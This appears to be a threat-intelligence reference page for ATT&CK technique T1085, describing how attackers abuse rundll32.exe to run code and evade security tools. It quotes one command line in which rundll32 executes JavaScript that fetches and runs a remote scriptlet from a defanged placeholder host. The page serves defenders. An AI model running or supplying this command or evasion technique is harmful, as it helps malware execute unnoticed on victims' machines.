T1085
About this technique
The rundll32.exe program can be called to execute an arbitrary binary. Adversaries may take advantage of this functionality to proxy execution of code to avoid triggering security tools that may not monitor execution of the rundll32.exe process because of whitelists or false positives from Windows using rundll32.exe for normal operations.
Read the full ATT&CK description
Rundll32.exe can be used to execute Control Panel Item files (.cpl) through the undocumented shell32.dll functions <code>Control_RunDLL</code> and <code>Control_RunDLLAsUser</code>. Double-clicking a .cpl file also causes rundll32.exe to execute. (Citation: Trend Micro CPL)
Rundll32 can also been used to execute scripts such as JavaScript. This can be done using a syntax similar to this: <code>rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:https[:]//www[.]example[.]com/malicious.sct")"</code> This behavior has been seen used by malware such as Poweliks. (Citation: This is Security Command Line Confusion)
Curated incident relationships
These associations come from maintained incident records. The recorded confidence is shown when the source record provides it.
Daily items linked through predicted CVEs
A Daily item appears here when it mentions a CVE whose triage artifact predicts this technique. This is not a verified ATT&CK mapping.
Predicted CVE associations
These backfilled or model-produced candidates come from the current triage artifact. They are informational, not official MITRE mappings.